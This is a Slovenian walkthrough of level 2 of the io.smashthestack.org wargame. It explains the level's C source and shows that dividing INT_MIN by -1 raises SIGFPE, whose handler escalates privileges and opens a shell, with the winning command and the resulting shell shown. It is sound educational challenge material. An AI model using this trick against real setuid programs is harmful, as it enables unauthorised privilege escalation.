Nekaj besed o drugi stopnji io.smashthestack.org.
$ ssh -l level2 io.smashthestack.org -p2224
Oboroženi z visoko stopnjo samozavesti najprej preizkusimo tisto kar je delovalo na prvi stopnji:
level2@io:/levels$ ./level02
source code is available in level02.c
Namig je več kot dobrodošel, preverimo izvorno kodo:
level2@io:/levels$ cat level02.c
//a little fun brought to you by bla
#include
#include
#include
#include
void catcher(int a)
{
setresuid(geteuid(),geteuid(),geteuid());
printf("WIN!\n");
system("/bin/sh");
exit(0);
}
int main(int argc, char **argv)
{
puts("source code is available in level02.c\n");
if (argc != 3 || !atoi(argv[2]))
return 1;
signal(SIGFPE, catcher);
return abs(atoi(argv[1])) / atoi(argv[2]);
}
Hiter pregled C kode nam pove:
* pri zagonu programa potrebujemo poleg imena programa še dva argumenta (`argc != 3`)
* drugi argument ne sme biti `0` (`!atoi(argv[2])`)
* oba argumenta morata biti celi števili, ker sta vhod fukcije `atoi()`, ki spremeni niz znakov v celo število.
argc
je števec argumentov, ang. argument count
argv
je kazalec na argument, ang. argument vector
Večino C-jevskih pojasnil lahko najdemo kar v priloženih navodilih:
man atoi
Funkcija int atoi(const char *nptr);
, spremeni niz znakov v celo število. Niz mora vsebovati primerno celo število, sicer funkcija vrne 0. Številka je lahko zaključena s katerikolim znakom, ki ni del celega števila (presledek, ločila,…).
Nastavi določeno funkcijo, kot odziv na prejeti signal. Torej v primeru, ko program prejme ta določen signal, pokličemo nastavljeno funkcijo.
Določimo lahko specifično funkcijo oziroma enega izmed dveh makrojev:
SIG_DFL
privzet odziv na signal
SIG_IGN
ignoriraj signal
SIGFPE
(ang. Signal Floating-Point Exception) napačna aritmetična operacija (npr. deljenje z 0)
Za nas zanimiva je predvsem ta vrstica v navodilih:
(Also dividing the most negative integer by -1 may generate SIGFPE.)
Torej deljenje najbolj negativnega celega števila z -1 lahko privede do signala SIGFPE
.
Funkcija int abs(int j);
, vrne absolutno vrednost celega števila. Absolutna vrednost najbolj negativnega celega števila ni definirana.
level2@io:/levels$ ./level02 -2147483648 -1
source code is available in level02.c
WIN!
sh-4.2$